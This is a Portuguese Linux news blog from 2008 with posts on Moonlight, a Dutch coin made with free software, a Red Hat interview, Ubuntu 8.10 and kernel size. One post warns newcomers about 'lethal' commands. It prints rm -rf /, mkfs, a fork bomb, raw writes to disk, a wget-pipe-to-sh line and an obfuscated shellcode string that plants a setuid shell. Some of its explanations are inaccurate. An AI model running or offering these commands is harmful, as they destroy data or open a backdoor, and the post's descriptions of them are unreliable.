O Buraco Negro


Sensacional..

[Open Music!] HYPE - Swallow


Artista: HYPE
Música: Swallow

Album:
Just a catwalk from heaven
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7 comandos letais no Linux

Danger

Se você é novo no Linux, possivelmente você encontrará pessoas estúpida, talvez em fóruns ou salas de bate-papo, que podem o enganar usando comandos que poderão  destruir seus arquivos e até mesmo todo o seu sistema operacional. Para evitar esse perigoso cenário de acontecer, tenho aqui uma lista de comandos Linux mortais que você deve evitar.

1. Comando: rm -rf /

Esse comoando irá, recurcivamente e forçadamente, deletar todos os arquivos dentro do diretório root.

2. Comando: char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

Essa é a versão hexadecimal do rm -rf / que pode enganar até mesmo usuários Linux experientes.

3. Comando: mkfs.ext3 /dev/sda

Isso irá reformatar ou limpar todos os arquivos do dispositivo que é mencionado depois do comando mkfs.

4. Comando: :(){:|:&};:

Conhecido como forkbomb, esse comando dirá ao seu sistema para executar um grande número de processo até o sistema travar. Isso freqüentemente resulta em corrompimento de arquivos.

5. Comando: qualquer_comando > /dev/sda

Com esse comando, informações brutas serão escritas no dispositivo e podem, geralmente, danificar o sistema de arquivos, resultando em perda total de informações.

6. Comando: wget http://alguma_fonte_não_confiável -O- | sh

Nunca baixe de fontes não confiáveis e, em seguida, execute os códigos malicioso que possivelmente estão dando a você.

7. Comando: mv /home/seupastahome/* /dev/null

Esse comando moverá todos os arquivos que estão na sua pasta home para um local que não existe. Você nunca os verá novamente.

Existem, logicamente, outros comando Linux igualmente letais que deixei de incluir aqui, então se você tem algo a acrescentar, por favor, comparlihe conosco via comentários.

Fonte: Jun Auza@junauza.com

Linux inicia em apenas 2.97 segundos

A casa japonesa de software embarcado Lineo anunciou um tecnologia de rápida inicialização que alega iniciar o Linux em 2.97 segundos em sistemas de baixa potência. A tecnologia aparece ser similar mas é muito mais rápida do que a capacidade existente "suspend-to-disk" do Linux. Para mais detalhes clique aqui.

[Open Music!] The Rest - Copying


Artista: The Rest
Música: Copying

Album:
Atlantis, Oh Our Saviour
Página no Jamendo: AQUI

Silverlight está pronto para o Moonlight no Linux

Silverlight

A Microsoft e a Novell anunciaram na terça-feira que uma versão beta do Moonlight - um add-on para o Firefox que permite que conteúdos do Silverlight seja reproduzido em PCs Linux - está quase pronta.

O software será anunciado na comemoração do segundo aniversário do acordo de paz entre as empresas.

O trabalho no Moonlight começou em maio de 2007 e uma versão alpha foi mostrada no mês passado. Miguel de Icaza, da Novell, que encabeça a equipe do Moonlight, disse em seu blog, na semana passada, que a versão beta sairia dentro de alguns dias.

Essa etapa ajuda a Micorsoft em seus esforços para posicionar o Silverlight como um rival ao Flash da Adobe. O Flash roda no Linux e está instalado numa grande percentagem dos PCs. Flash e Silverlight também rodam em Macs.

A maior vitória recente do Silverlight foi um acordo da Microsoft com a NBC, que viu a tecnologia ser usada para mostrar o vídeos no NBCOlympics.com. Porém o Silverlight sofreu um golpe no começo da semana, quando a Major League Baseball nos Estados Unidos disse que está trocando seus player para player exclusivamente em Flash para a temporada 2009.

Além do anuncio do Moonlight, a Novell está lançando um pacote de gerenciamento que se conecta aos produtos System Center da Microsoft, que permite que gerentes de IT supervisionem mais facilmente implantações mistas do Suse Linux e do Windows.

No que diz respeito ao trabalho conjunto das duas empresas, eles têm hoje mais de 200 cliente em conjunto, disse Susan Heystee, gerente-geral global de estratégias para alianças da Novell. É um crescimento para quem tinha menos de 70 de clientes no fim do primeiro ano.

Heystee disse: "Esse crescimento é devido ao valor da proposta e o foco que nós temos em torno da interoperatibilidade. Muitas dessas empresas estão implantando Linux e Windows em seus datacenters."

Fonte: Ina Fried@Builder.au

Uma pausa...

mas agora voltei ao ritmo.

Como fazer dinheiro com Software Livre

O Ministério da Fazenda Holandês organizou uma competição arquitetônica na qual um grupo seleto de escritórios de arquitetura (unstudio, nox, ...) e artistas foram convidados, incluindo eu mesmo. O objetivo da competição não era projetar um prédio, mas a nova moeda comemorativa de 5 euros com o tema "A Holanda e a Arquitetura". O ganhador será recompensado com um belo prêmio, mas o melhor de tudo com uma honra: ter o seu design concretizado numa moeda verdadeira dentro da Holanda.

Eu abordei o assunto "A Holanda e a Arquitetura" de dois pontos de vista. Por um lado, um tributo à rica história arquitetônica holandesa, e por outro lado, a qualidade da arquitetura holandesa contemporânea. Elas também formam os dois lados da minha moeda. Tradicionalmente, a parte frontal da moeda necessita do retrato da rainha, enquanto a parte traseira mostra o valor da moeda.

Parte Frontal:
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Quando alguém olha com atenção (clique na imagem acima para ampliar) para o meu retrato da rainha, fica claro que o retrato dela é construído com os nomes de importantes arquitetos holandeses. Nas bordas, os nomes estão claramente legíveis, enquanto eles vão ficando menores em direção ao centro. Sob um magnífico óculos, todos os nomes estão legíveis, mas ficam somente com o olho humano. É fascinante ver como uma coisa tão antiga, como uma moeda, pode, dessa maneira, ser um "compact disc" de informações.

A tensão entre o que é legível e o que não é, também está uma metáfora sobre como o tempo modela a história. Alguns grandes nomes do passado, podem ser insignificantes no futuro e vice-versa. Para refletir essa idéia, escolhi não ordenar os arquitetos alfabeticamente ou cronologicamente, mas de um novo jeito: usei a internet como um sismógrafo e ordenei os arquitetos pelo número de vezes encontradas na internet.

Claro que essa ordem nuda com o passar do tempo e essa é outra marca na moeda além do número "2008". Somente os primeiros 109 arquitetos couberam na moeda, então essa foi a seleção imediata. Aparentemente ser famoso é algo exponencial:

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Afim de fazer a imagem, criei a minha própria fonte de linha única. Deixei o tamanho da linha mudar dentro do mesmo caracter afim de reproduzir uma figura subjacente:

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Nos dias de hoje, a arquitetura holandesa é famosa pela sua forte abordagem conceitual. Isso traduz a si mesmo no fato de que exista não somente muitos livre sobre arquitetura holandesa, como também de arquitetos holandeses.

Na parte traseira da moeda, eu deixei a borda da moeda como uma estante de livros. Os livros crescem como prédios em direção central. Através da cuidadosa organização, eles formam o contorno da Holanda, enquanto silhuetas de pássaros indicam as capitais de todas as províncias. O esquema a seguir revela o processo:

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Um dos problemas foi quantos livros colocar: muitos livros finos ou livros mais grossos? Com um livro muito grosso eu conseguiria apenas um círculo. Para conseguir a melhor aproximação do contorno da Holanda, eu precisaria de livros com somente uma página, o que não é o ideal. Por isso eu precisava achar o melhor entre esses dois extremos, como você pode ver no esquema abaixo. No lado esquerdo você pode ver a aproximação do contorno da Holanda, no centro você pode ver a "silhueta" dos livros e na direita a diferença entre a "silhueta" dos livros e o contorno da Holanda:

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A seguir está a idéia dos pássaros. Cada pássaro sobrevoa a capital de cada província holandesa. Na moeda final, esses pássaros genéricos foram substituídos por um pássaro típico de cada província.

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Tecnologia

Todo o projeto foi feito 100% com software livre. A maior parte consistiu de um software customizado em Python, claro que dentro do editor SPE. Para o poder visual eu usei PIL e pyCairo. De tempos em tempos, GIMP, Inkscape e Phatch me ajudaram um pouco. Todo o desenvolvimento e processamento foi feito em máquinas GNU/Linux que rodavam Ubuntu/Debian. No final, tive que trabalhar no local junto com os técnicos da Royal Dutch Mint (casa da moeda). Então todos os últimos bits foram feitos no meu Asus Eee PC (Ainda continuo querendo saber por que a Asus não oferece o Ubuntu em seus netbooks). O Eee PC demorava um pouco mais (30 segundos em vez de 3 segundos para gerar um moeda inteira), mas fiz o trabalho muito bem. Para descobrir o número de entradas encontradas na Internet, eu redescobri o Yahoo!, que fornece uma API muito melhor para requisições automáticas que seus competidores. Claro que o júri julgou somente o design e não os programas usados, já que outros usaram Maya, Illustrator, etc.

E o vencedor é...

Me orgulho em dizer que eu ganhei a competição! Em breve 350.000 holandeses usufruirão dos frutos do software livre. Adoraria lançar a moeda sob GPL, que poderia, talvez, resolver a crise financeira. Entretanto, por razões óbvias, não tive permissão para fazer isso. Haverá edições especiais para colecionadores que podem ser compradas em todo o mundo: um edição de prata por €30,95 e uma edição de ouro por €194,95. Elas, provavelmente, serão vendidas rapidamente, afinal são verdadeiros itens de colecionador. A moeda será lançada em todos os postos de correios ao público no mesmo dia do lançamento do Intrepid Ibex: 30 de outubro de 2008.

Aqui estão algumas imagens da moeda verdadeira:

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A moeda será anunciada 20 vezes no horário nobre na televisão holandesa com um belo clip (estará disponível em breve) e propagandas irão aparecer em diversos jornais. Hoje foi o lançamento oficial da moeda, da esqueda para a direita: eu, o Secretário de Estado da Fazenda De Jager, a chefe estatal do setor de arquitetura Liesbeth van der Pol e o chefe da casa da moeda Maarten Brouwer.

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Fonte: von Stani

Por que existo??

Não, não é um post sobre uma crise de existência deste escriba que vós fala. Mas uma análise sobre o motivo do próprio blog existir. Faz tempo que eu achava que deveria expor esses motivos, mas só agora tive tempo o suficiente para pensar na questão. Vamos aos pontos:

¤ Não sou nada, então, o que fazer?

Realmente, não tenho qualquer habilidade para ajudar diretamente a comunidade Linux. Não sei programar, desenvolver, meu conhecimento é todo na base do erro/acerto, resumindo, não posso ajudar diretamente por falta de conhecimento. Porém, um dia senti falta de uma coisa no "mundo" Linux que, geralmente, o mundo da tecnologia em geral tem: artigos e notícias relevantes. Nada contra os portais de notícias sobre Linux brasileiros, mas convenhamos, só reproduzir links para tutoriais e vagas de emprego não é a coisa mais interativa e informativa que se pode ter para se atualizar sobre Linux. Mas aí vem o dilema: não sou jornalista, não serei pago (tá bom, forcei), então o que fazer?? Bem, é de domínio público que a grande maioria de conteúdo na internet vem de fora do país e no nosso caso não é diferente. Decidi traduzir, com o meu inglês capenga, porém compreensível, o que achava relevante e/ou interessante, tentando fugir do comum.

¤ O que publicar??

Bem, como disse anteriormente, a quantidade de conteúdo produzido é imenso (notícias, artigos, tutoriais, etc) mas não tenho tempo suficiente para reproduzir tudo o que desejo. Tento fugir dos tutoriais por um motivo muito simples: Google. Não adianta, para se publicar tutoriais, eles devem ser muito bem feitos e muito exclusivos, senão é a simples reprodução de N páginas similares que se encontram no Google. E acredite, alguém já teve a idéia que você está na cabeça agora. Me restou as notícias, que, por motivo que desconheço, ninguém se interessa.

Acho que é isso, motivo da existência desse blog é que as pessoas parem ao menos 2 minutos por dia para LER sobre Linux. Esse é o ponto, só rolar a barra de rolagem e ler o título dos posts é tudo o que não desejo num site de notícias, ainda mais se for de notícias sobre um assunto no qual me interesso profundamente. Se alguém "perde" esse tempo aqui, já me sinto satisfeito. Segue o baile.

Como instalar o KDE4 no Intrepid

Um guia prático de como instalar o KDE4 no Ubuntu 8.10. Acho que não necessita ser traduzido pela quantidade de imagens que há no tutorial. Se não estiver afim de esperar o Kubuntu, ou no Kubuntu não existe certas funcionalidades que existem no Ubuntu, ess é uma ótima oportunidade de testar o KDE4. Para acessar clique aqui.

E funcionou...

E não é que os links que eu postei do Intrepid estão funcionando?? Corra e baixe logo...

O homem que usa o chapéu vermelho


James M. Whitehurst, CEO e presidente da Red Hat, em sua recente visita à Índia falou com a CyberMedia News sobre muitas questão polêmicas em torno da tecnologia open-source e suas nuances de negócios. Tipo, como fazer dinheiro com algo livre e aberto? Por que o OOXML não impactou o suficiente? Por que a Índia estão em vantagem no mundo open-source? Bem, o chapéu dele abrange todas elas. Aproveite.

Muitos tentaram, testaram e tatearam. Mas ninguém tem tido tanta sorte trabalhando com um modelo empresarial bem sucedido em torno do mundo open-source. Qual é o truque? São os serviços e suporte periféricos ao núcleo aberto que tornam possíveis as receitas?

Não exatamente. O open-source é um conceito que existe há pelo menos 15 anos, mas ainda é relativamente novo. Nós somos a única empresa lucrativa e pública. Por que todos não são capazes de fazer dinheiro com algo que é tão inerentemente bem sucedido quanto a tecnologia? A economia da abundância está no contexto do poder do open-source. E existem duas palavras, inovação e colaboração.

Até ontem, o modelo de copyright estava operando e muitas pessoas poderiam requisitar por pagamentos no open-source. Mas isso minava fundamentalmente o poder do open-source. Hoje, quando você torna o software aberto, existe outro problema. Como ganhar dinheiro? Muitas pessoas começaram com o modelo de suporte que você está insinuando. O que a Red Hat fez foi, fundamentalmente, diferente do modelo empresarial. Não é o caso de tentar capitalizar os bits ou os serviços. Todos conseguem fazer isso. A visão-chave é que o modelo de desenvolvimento do open-source é em torno da repetição.

Agora, se a NYSE, por exemplo, tem um software crítico rodando sobre plataforma open-source, a última coisa que eles querem são mudanças repetitivas de impacto. Nesse momento, nós intervimos e garantimos que o software livre seja prático para a empresa, e seja completamente interativo, totalmente testado, configurado para alta performance, certificado e equipado com documentação, com ANS (Acordo de Nível de Serviço), aspectos locais, repetidas mudanças no desenvolvimento, tudo. Nós somos as pessoas que fazem isso e garantem a estabilidade dos bits testados em implantações de software crítico. Além disso, nós nos comprometemos a suportar o software por sete anos. E não apenas suportá-lo, mas torná-lo à prova de balas.

Esse modelo é tão sustentável ou lucrativo quanto os modelos tradicionais?

Se falamos de assinaturas, nós mudamos fundamentalmente o modelo falido de software empresarial. O modelo empresarial necessita de resultados. Veja os ciclos artificiais de upgrade dos software de outrora. Cerca de 80% dos recursos poderiam não ser utilizados pelo usuário. Por que desenvolvem novos recursos que eles não usam e não vão usar? O Vista é o melhor exemplo. Não há nenhuma funcionalidade realmente nova. Mas upgrades são feitos para impulsionar as receitas.

Não adicionamos recursos que os usuários não querem. E eles continuam a nos pagar. Ainda assim, somos o maior contribuidor do Linux. Nós escutamos; nós prestamos atenção às necessidades deles, às queixas e, por conseguinte, adicionamos as funções. Certamente que o software livre é um modelo de desenvolvimento muito poderoso. Nós damos valor a ele. Não se trata apenas de suporte. O open-source, em suma, é um modelo de desenvolvimento e não um modelo de implementação. Ele não tem que ser implantado como uma solução. Desempenhamos uma função tornando-o prático para as empresas.

Qual é a sua opinião sobre o recente tumulto entre o desenvolvimento do ODF Vs OOXML por padrões abertos?

Obviamente estamos desapontados. Isso apenas mostra que a Microsoft detém muito poder comercial nessa área também. No longo prazo, entretanto, a publicidade que esse novo desenvolvimento gerou ajudará, felizmente, no debate da questão. Mais países usarão o ODF e, por conseguinte, propostas sobre o software livre. Mais lobby governamental está sendo visto. Em geral, isso só vem alertando consciências.

Então um modelo open-source lucrativo já não é mais um paradoxo?

Não. O modelo de desenvolvimento é aberto. É uma questão de quanto você pode igualar o ritmo de interação repetitiva e torná-la consumível pelas empresas. O software empresarial não se trata de funcionabilidade apenas, mas também sobre mudanças em conjunto num ambiente de produção. É muito difícil mudar especificações dinamicamente, manter pilhas de hardware, compatibilidade e certificações. Se você fala de nós, nós capitalizamos não só sobre o software livre, mas sobre o valor que ele tem.

Muitos casamentos foram testemunhadas no passado recente sobre o altar do open-source. Como você interpreta a consolidação das ações com acordos como Microsoft-Novell, Sun-MySQL, Yahoo-Zimbra?

Eu não desprezo nada disso. Dito isso, muitos não se deram conta da real essência. O poder do software livre está na maximização da comunidade e da colaboração. A Sun controla a maior parte do domínio do desenvolvimento. Eu não sei, nesse ponto, como, exatamente, eles fazem o modelo funcionar. Temos 100% de certeza que o software livre conduz a uma maior clareza estratégica.

A idéia da economia de abundância retorna à discussão. Nós não controlamos o Linux. Mas fazendo as mudanças constantes que aparecem no desenvolvimento principal, levar ao público o mais rápido possível é o objetivo. Uma vez houve a necessidade de bancos e serviços financeiros por real-time no kernel. A Novell já possuia essa funcionalidade mas eles nunca a publicaram, então quando nós publicamos, eles tiveram que abandonar essa exclusividade. O Linux inteiro se moveu nessa direção.

Qual é a sua opinião sobre o rumo que o Google está, aparentemente, tomando no território aberto com idéias como o Chrome e o Android?


Eu aplaudo o que eles fazem. Eles criam e financiam muitas coisas em torno do software livre, distribuindo os códigos e sobre a GPL. Há muito debate em torno da GPL2 e GPL3. O Google é um potencial criador de grandes talentos. Não há dúvida de que é uma grande empresa com muitos recursos humanos. Também compreendo a preocupação verdadeira em torno do SaaS (sigla em inglês para "Software como serviço") em relação à indústria de software.

Quais são os destaques estratégicos desse ano da Red Hat?


A infra-estrutura de software livre da empresa não é somente em torno do Linux, há também ferramentas de gerenciamento, segurança, virtualização. Então, esse ano, estaremos anunciando mais produtos. Áreas como componentes de seguranças, funcionalidades em rede, mensagens em alta velocidade, funcionalidades em novas arquiteturas, etc; será excitante. A virtualização foi "raptada" na consolidação de servidores. Estaremos a melhorando com competição. Há uma grande oportunidade para nós. Mobilidade de aplicações é importante. Estaremos fortemente competindo em áreas como virtualização além de áreas como ferramentas de gerenciamento em rede, e alavancariam completamente o cloud computing tanto internamente quanto externamente.

O que você acha da inclinação de projetos digitais indianos para o software livre?

A parte impressionante é o relativo tamanho dos projetos e o claro compromisso com o software livre. A Europa também está em direção do software livre. Na Índia, vemos um profundo nível de transferência de conhecimento e o governo olha para o futuro, afinal ele promove um grande processo e uma grande adoção. É impressionante.

E qual a sua opinião sobre a Índia com essa viagem?

A Índia tem muitas oportunidades para saltar no caminho do desenvolvimento assim como na implementação so software livre em grande escala. A Índia é classificada como a segunda maior comunidade em termos de contribuição para o código do kernel Linux. O tamanho dos projetos, da integração, do desenvolvimento e da escala de desenvolvimento é notável e único na Índia. A Índia também é um importante mercado de uma perspectiva de escala.

Minhas impressões da Índia é que ela é extraordinária em termos de tamanho e ritmo de crescimento. Também de uma perspectiva tecnológica, se você observar os Estados Unidos, eles estão se atualizando, mas, na Índia, você pode ver muitos projetos e iniciativas começadas do zero. É extraordinário. A Índia tem um dos maiores números de engenheiros certificados, maior do que os Estados Unidos. É um mercado muito qualificado.

A grande vantagem da Índia no sistema de integração é maravilha, o que será muito importante para o movimento mundial em torno do software livre. Cerca de 70% das aplicações terão software livre.

Fonte: Ciol News

[Humor] Como o Google criou o logo do Chrome

[Open Music!] Josh Woodward - Learn to Fly


Artista: Josh Woodward
Música: Learn to Fly

Album:
Here Today
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Shuttleworth: de 3 a 5 anos a mais de financiamento


A Canonical, o apostador comercial do sistema operacional Ubuntu, ainda não está tendo lucro, mas o fundador da empresa, Mark Shuttleworth, disse na segunda-feira, durante um vídeo-conferência, que preparado para financiar a empresa por mais 3~5 anos.

"Continuamos precisando de investimento e continuo cuidadoso com meus centavos para fazer esses investimentos, mas acredito ser uma boa proposta", disse o bilionário da tecnologia. "A Canonical não é lucrativa, mas nossas ofertas são muito atrativas para aqueles que querem apostas seus centavos no mundo Linux."

O triste clima econômico poderia, de fato, conduzir negócios, disse Shuttleworth.

A Canonical, que ganha dinheiro fornecendo serviços e suporte para seus softwares, hoje tem uma receita anual na casa dos "muitos milhões" de dólares, disse Shuttlworth.

A falta de lucro da empresa não tem abalado a fé de Shuttleworth em seu modelo de negócios. "Estamos entrando numa era onde há uma real popularização do desktop, por isso não achei que seria possível ganhar muito dinheiro, ou até mesmo algum dinheiro, [vendendo Linux no] desktop", disse ele. "A única maneira de construir um negócios em torno do Linux é em torno de serviços."

Shuttleworth realizou a vídeo-conferência em encontro ao lançamento do Ubuntu 8.10, que inclui atualização em torno de redes 3G e virtualização.

Olhando à frente, a Canonical espera que o desenvolvimento do Ubuntu abranja três tendências chaves, disse Shuttleworth: interatividade com tecnologias sensíveis ao toque ("a maioria dos dispositivos terão tecnologia sensível ao toque dentro deles"); imagens 3D ("as linhas entre o desktop 2D e ambientes de jogos 3D estão se atenuando"); e a integração de recursos web com a experiência desktop.

Fonte: LinuxWorld

Notícia futura que todos já conhecem: Lançado o Ubuntu 8.10!!

Bem, daqui uma semana o Ubuntu 8.10 Final será lançado e choverá em blogs, portais de notícias sobre tecnologia e derivados essa notícia: Lançando o Ubuntu 8.10!! Como não tenho muito saco para postar o que já foi, ou será, postado 2.938.104.534.982.304 vezes, farei uma coisa diferente, darei a notícia que todo mundo já sabe mas ainda não pode ser postado - afinal ainda não saiu. Serei o profeta do óbvio. Vamos lá:

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Lançado Ubuntu 8.10 Final!!!

Finalmente o Ubuntu 8.10 foi lançado. Depois de meses de desenvolvimento, com várias melhorias na parte de redes e com uma sensível melhora no boot, a Canonical liberou a versão Final dessa maravilhosa distribuição. Segue abaixo o link das imagens:

Desktop x86 (.torrent)
Desktop AMD64 (.torrent)
Servidor x86 (.torreent)
Servidor AMD64 (.torrent)
Versão Alternate x86 (.torrent)
Versão Alternate AMD64 (.torrent)


Aproveite e instale AGORA!! E tenha paciência com a velocidade do servidor - ou baixe via torrent.

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Não seja idiota suficiente para clicar nos links e achar que vai funcionar. Espere até dia 30, e talvez funcionem. Somente copiei o padrão dos links, tomara que seja assim mesmo.

Kernel 2.6.27: Mais de 10 milhões de linhas de código-fonte


Após o lançamento do kernel Linux 2.6.27, os desenvolvedores do kernel já estão ocupados integrando patches para a nova versão do kernel, uma nova ramificação do desenvolvimento principal do Linux. Esse processo normalmente envolve descartar códigos velhos e adicionar novos códigos, que no geral há mais linhas novas do que velhas, fazendo o kernel crescer continuamente.

Nesse procedimento, no momento os desenvolvedores do kernel já passaram das 10 milhões de linhas, se linhas em branco, comentários e arquivos de texto forem incluídos no exame do Git do código-fonte do kernel Linux (find . -type f -not -regex '\./\.git.*' | xargs cat | wc -l). Também é bom notar que as linhas de texto nos arquivos de código-fonte recentemente passaram dos 9 milhões (find . -name *.[hcS] -not -regex '\./\.git.*' | xargs cat | wc -l).

Programas como o SLOCCount podem ser usados para inspecionar o código-fonte do kernel Linux com mais detalhes. De acordo com essa ferramenta, o número de linhas do código-fonte não é 9 milhões, mas exatamente 6.399.191 (Linhas de Código-Fonte/LDCF), já que o programa não conta as linhas em branco, os comentários e muitos outros tipos de entradas. Mais da metade das linhas são parte de drivers de hardware; a segunda maior fatia é o diretório arch/, que contém o código-fonte de várias arquiteturas suportadas pelo Linux.

SLOC    Diretório    LDCF-por-linguagem (Ordenado)
3301081 drivers     ansic=3296641,yacc=1680,asm=1136,perl=829,lex=778,sh=17
1258638 arch        ansic=1047549,asm=209655,sh=617,yacc=307,lex=300,awk=96,python=45,pascal=41,perl=28
544871    fs        ansic=544871
376716    net        ansic=376716
356180    sound        ansic=355997,asm=183
320078    include     ansic=318367,cpp=1511,asm=125,pascal=75
74503    kernel        ansic=74198,perl=305
36312    mm        ansic=36312
32729    crypto        ansic=32729
25303    security    ansic=25303
24111    scripts     ansic=14424,perl=4653,cpp=1791,sh=1155,yacc=967,lex=742,python=379
17065    lib        ansic=17065
10723    block        ansic=10723
7616    Documentation    ansic=5615,sh=926,perl=857,lisp=218
5227    ipc        ansic=5227
2622    virt        ansic=2622
2287    init        ansic=2287
1803    firmware    asm=1598,ansic=205
833    samples     ansic=833
493    usr        ansic=491,asm=2
0    top_dir     (none)


De acordo com o SLOCCount, 96,4% do código é escrito em C e 3,3% em Assembler. As outras linguagens de programação somente são usadas marginalmente: Perl, por exemplo, foi usado para alguns scripts de ajuda durante o desenvolvimento do kernel e conta com mísero 0,1%. No diretório com grande presença de Assembler, o SLOCCount também afirma ter encontrado 116 linhas em código Pascal - mas pode ser perfeitamente um erro de interpretação do SLOCCount.

Total agrupado por linguagem (linguagens dominantes primeiro):
ansic: 6168175 (96.39%)
asm: 212699 (3.32%)
perl: 6672 (0.10%)
cpp: 3302 (0.05%)
yacc: 2954 (0.05%)
sh: 2715 (0.04%)
lex: 1820 (0.03%)
python: 424 (0.01%)
lisp: 218 (0.00%)
pascal: 116 (0.00%)
awk: 96 (0.00%)


O SLOCCount também tenta dar uma estimativa aproximada do valor do código-fonte. De acordo com as estimativas do programa, precisaria de mais de 200 desenvolvedores em nove anos e meios e custaria US$267 milhões para reescrever o código do zero. Levando-se em conta que o programa não é atualizado a quatro anos, a precisão dessa estimativa é discutível, especialmente o custo por desenvolvedor certamente deveria ser aumentado.

Total de linhas físicas de código fonte (SLOC) = 6,399,191
Esforço de Desenvolvimento Estimado, Pessoa-Anos (Pessoa-Meses) = 1,983.63 (23,803.60)
(Modelo COCOMO básico, Pessoa-Meses = 2.4 * (KSLOC**1.05))
Tempo EStimado, Anos (Meses) = 9.59 (115.10)
(Modelo COCOMO básico, Meses = 2.5 * (pessoa-meses**0.38))
Número Média de Desenvolvedores Estimado (Esforço/Tempo) = 206.81
Custo Total de Desenvolvimento Estimado = $ 267,961,839
(salário médio = $56,286/ano, despesas gerais = 2.40).


Não há fim no horizonte para o crescimento do kernel Linux, que vem decorrendo na série Linux 2.6 por muitos anos - a cada nova versão, o hackers ampliam o kernel Linux ainda mais para incluir novas funções e drivers, melhorando o suporte para hardware ou tornando-o mais flexível, melhor ou mais rápido. Uma olhada nesses números pertinentes às últimas versões do kernel também mostram que não é somente o número de linhas de código-fonte que está crescendo continuamente, mas também número de mudanças por versão do kernel.

Fonte: Heise OnLine

[Open Music!] Escape Act - God Says


Artista: Escape Act
Música: God Says

Album:
Loosely Based On Fiction
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Lançada PCLinuxOS Magazine de Outubro


  1. Guia dos Usuários GNOME Capítulo 3
  2. Eu usava Windows
  3. Bem, Bem, Bem
  4. How-to: VirtualBox
  5. E mais...

          PDF
          HTML

Fonte: PCLinuxOS Magazine

Ubuntu no Halloween

No Brasil, a comemoração do Halloween (Dia das Bruxas) não é tão difundido. As escolas de idiomas às vezes fazem festas temáticas para tentar aproximar os estudantes de inglês - geralmente - num ambiente mais estrangeiro. É uma tradição anglo-saxã e se quiser mais detalhes use o Google. :P



Trick or treat????
 
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